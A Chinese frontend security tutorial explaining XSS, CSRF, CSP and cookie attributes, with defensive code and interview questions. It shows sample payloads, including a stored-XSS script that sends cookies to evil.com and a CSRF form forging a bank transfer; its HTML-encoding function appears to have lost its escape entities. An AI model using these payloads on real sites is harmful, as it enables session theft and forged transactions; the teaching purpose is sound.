文章目录
- 前言
- 一、XSS(跨站脚本攻击)
- 1.1 定义
- 1.2 三种类型
- 存储型 XSS
- 反射型 XSS
- DOM 型 XSS
- 二、XSS 防御
- 2.1 输出编码
- 2.2 避免危险 API
- 2.3 使用 DOMPurify
- 三、CSRF(跨站请求伪造)
- 3.1 定义
- 3.2 攻击原理
- 四、CSRF 防御
- 4.1 SameSite Cookie
- 4.2 CSRF Token
- 4.3 验证 Origin / Referer
- 五、CSP(内容安全策略)
- 5.1 定义
- 5.2 配置示例
- 5.3 常用指令
- 六、Cookie 安全属性
- 6.1 各属性作用
- 七、XSS 能否绕过 CSRF 防御
- 八、面试聚焦
- 8.1 富文本安全处理
- 8.2 innerHTML 的风险
- 九、易混淆点
- 十、思考与练习
- 总结
前言
前端安全是开发中必须重视的问题,XSS 和 CSRF 是最常见的两种攻击方式。本篇会讲清楚:
- XSS 的三种类型及防御
- CSRF 的原理及防御
- CSP(内容安全策略)
- Cookie 安全属性
一、XSS(跨站脚本攻击)
1.1 定义
XSS 是指攻击者将恶意脚本注入到网页中,当用户访问时执行恶意代码。
1.2 三种类型
存储型 XSS
恶意脚本存储在服务器(数据库),用户访问时自动执行。
// 攻击场景:评论区// 攻击者提交恶意评论constcomment='<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'// 服务器存储后,其他用户访问时脚本执行// 危害:窃取 Cookie、会话劫持反射型 XSS
恶意脚本在 URL 中,服务器反射回响应时执行。
// 攻击场景:搜索功能// URL: https://example.com/search?q=<script>alert('XSS')</script>// 服务器将 query 直接拼接到 HTMLconsthtml=`<div>搜索结果:${query}</div>`// 浏览器执行脚本DOM 型 XSS
恶意脚本通过前端 JavaScript 直接操作 DOM 执行。
// 攻击场景:从 URL 获取参数并插入 DOMconsthash=location.hash.substring(1)document.getElementById('output').innerHTML=hash// URL: https://example.com#<img src=x onerror="alert('XSS')">二、XSS 防御
2.1 输出编码
// 1. HTML 编码functionencodeHTML(str){returnstr.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>').replace(/"/g,'"').replace(/'/g,''')}// 使用constuserInput='<script>alert("XSS")</script>'document.getElementById('output').textContent=userInput// 安全// 或document.getElementById('output').innerHTML=encodeHTML(userInput)// 安全2.2 避免危险 API
// ❌ 危险:直接使用 innerHTMLelement.innerHTML=userInput// ✅ 安全:使用 textContentelement.textContent=userInput// ❌ 危险:动态执行代码eval(userInput)newFunction(userInput)()// ❌ 危险:拼接 HTMLconsthtml=`<div>${userInput}</div>`2.3 使用 DOMPurify
// 富文本内容过滤importDOMPurifyfrom'dompurify'constdirty='<img src=x onerror="alert(1)"><p>Hello</p>'constclean=DOMPurify.sanitize(dirty)// <p>Hello</p>(危险标签被移除)// 配置允许的标签和属性constclean=DOMPurify.sanitize(dirty,{ALLOWED_TAGS:['p','b','i','em','strong'],ALLOWED_ATTR:['href','title']})三、CSRF(跨站请求伪造)
3.1 定义
CSRF 是指攻击者诱导用户在已登录的网站上执行非本意的操作。
3.2 攻击原理
<!-- 用户已登录 bank.com --><!-- 攻击者在 evil.com 放置 --><!-- 自动发起转账请求 --><imgsrc="https://bank.com/transfer?to=attacker&amount=1000"><!-- 或使用表单自动提交 --><formaction="https://bank.com/transfer"method="POST"><inputtype="hidden"name="to"value="attacker"><inputtype="hidden"name="amount"value="1000"></form><script>document.forms[0].submit()</script><!-- 浏览器自动携带 bank.com 的 Cookie,请求成功 -->四、CSRF 防御
4.1 SameSite Cookie
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly// SameSite 属性值:// Strict:完全禁止第三方 Cookie// Lax:允许导航和 GET 请求携带(默认值)// None:允许跨站携带(必须设置 Secure)4.2 CSRF Token
// 1. 服务器生成 TokenconstcsrfToken=generateRandomToken()res.cookie('csrfToken',csrfToken)// 2. 前端在请求中携带 Token// 方式一:表单隐藏字段<form><input type="hidden"name="_csrf"value="${csrfToken}"></form>// 方式二:请求头fetch('/api/transfer',{method:'POST',headers:{'X-CSRF-Token':csrfToken},body:JSON.stringify(data)})// 3. 服务器验证 Tokenapp.post('/api/transfer',(req,res)=>{if(req.headers['x-csrf-token']!==req.cookies.csrfToken){returnres.status(403).json({error:'Invalid CSRF token'})}// 处理请求})4.3 验证 Origin / Referer
// 服务器检查请求来源app.post('/api/transfer',(req,res)=>{constorigin=req.headers.origin||req.headers.refererif(!origin||!origin.startsWith('https://bank.com')){returnres.status(403).json({error:'Invalid origin'})}// 处理请求})五、CSP(内容安全策略)
5.1 定义
CSP 是通过 HTTP 响应头或 meta 标签定义页面可以加载哪些资源的策略。
5.2 配置示例
// HTTP 响应头Content-Security-Policy:default-src'self';script-src'self'https://cdn.example.com;style-src'self''unsafe-inline';img-src'self'data:https:;connect-src'self'https://api.example.com;// meta 标签<meta http-equiv="Content-Security-Policy"content="default-src 'self'; script-src 'self'">5.3 常用指令
// script-src:限制脚本来源// 'self':同源// 'nonce-xxx':随机数匹配// 'sha256-xxx':脚本哈希匹配// style-src:限制样式来源// 'unsafe-inline':允许内联样式(不推荐)// connect-src:限制 AJAX / WebSocket 连接// 'self':同源 API// report-uri:违规上报地址Content-Security-Policy:...;report-uri/api/csp-report六、Cookie 安全属性
// 完整的 Cookie 安全配置Set-Cookie:session=abc123;Domain=example.com;Path=/;Secure;// 只在 HTTPS 下发送HttpOnly;// 禁止 JavaScript 访问SameSite=Strict;// 禁止第三方携带Max-Age=3600;// 过期时间6.1 各属性作用
| 属性 | 作用 |
|---|---|
| Secure | 只在 HTTPS 下发送 |
| HttpOnly | 禁止 JavaScript 访问(防 XSS 窃取) |
| SameSite | 限制第三方携带(防 CSRF) |
| Domain | 指定 Cookie 适用域名 |
| Path | 指定 Cookie 适用路径 |
七、XSS 能否绕过 CSRF 防御
// 场景:Cookie 设置了 SameSite=Strict// 但攻击者通过 XSS 在目标站点执行脚本// XSS 可以:// 1. 在同源下发起请求(不受 SameSite 限制)// 2. 读取页面中的 CSRF Token// 3. 直接操作 DOM 提交表单// 结论:XSS 可以绕过部分 CSRF 防御// 因此:防御 XSS 是根本八、面试聚焦
8.1 富文本安全处理
// 问题:富文本允许用户输入 HTML,如何安全渲染?// 方案:使用 DOMPurify 过滤importDOMPurifyfrom'dompurify'functionrenderRichText(dirty){constclean=DOMPurify.sanitize(dirty,{ALLOWED_TAGS:['p','b','i','em','strong','a','img'],ALLOWED_ATTR:['href','src','alt','title']})returnclean}// 危险属性需要过滤:// onerror, onclick, onmouseover 等事件属性// javascript: 协议的 href8.2 innerHTML 的风险
// ❌ 危险:直接拼接用户输入element.innerHTML=`<div>${userInput}</div>`// ✅ 安全:使用 textContentelement.textContent=userInput// ✅ 安全:使用模板引擎自动转义// Vue: {{ userInput }} 自动转义// React: {userInput} 自动转义九、易混淆点
- XSS vs CSRF:XSS 是注入恶意脚本执行;CSRF 是伪造用户请求。XSS 可以绕过 CSRF 防御。
- 三种 XSS:存储型(服务器存储)、反射型(URL 反射)、DOM 型(前端 DOM 操作)。
- SameSite 属性:Strict 完全禁止,Lax 允许 GET 导航,None 必须配合 Secure。
- HttpOnly:防止 JavaScript 读取 Cookie,但不能防止 XSS 注入。
十、思考与练习
1.XSS 的三种类型及区别是什么?
解析:
- 存储型:恶意脚本存储在服务器,所有用户访问都会触发
- 反射型:恶意脚本在 URL 中,服务器反射回响应执行
- DOM 型:恶意脚本通过前端 JavaScript 操作 DOM 执行
2.如何防御 XSS?
解析:
- 输出编码(HTML 编码、URL 编码)
- 避免危险 API(innerHTML、eval)
- 使用 DOMPurify 过滤富文本
- 设置 CSP 限制脚本来源
3.CSRF 的防御方案有哪些?
解析:
- SameSite Cookie 限制第三方携带
- CSRF Token 验证请求合法性
- 验证 Origin / Referer 来源
4.为什么 XSS 可以绕过 CSRF 防御?
解析:XSS 在目标站点同源下执行脚本,不受 SameSite 限制,可以直接读取 CSRF Token 并发起请求。
5.Cookie 的安全属性有哪些?
解析:
- Secure:只在 HTTPS 下发送
- HttpOnly:禁止 JavaScript 访问
- SameSite:限制第三方携带
- Domain / Path:指定适用范围
总结
- XSS:注入恶意脚本,分存储型、反射型、DOM 型
- XSS 防御:输出编码、避免危险 API、DOMPurify、CSP
- CSRF:伪造用户请求,利用 Cookie 自动携带机制
- CSRF 防御:SameSite Cookie、CSRF Token、验证 Origin
- CSP:通过 HTTP 头限制页面可加载的资源
- Cookie 安全:Secure + HttpOnly + SameSite 组合使用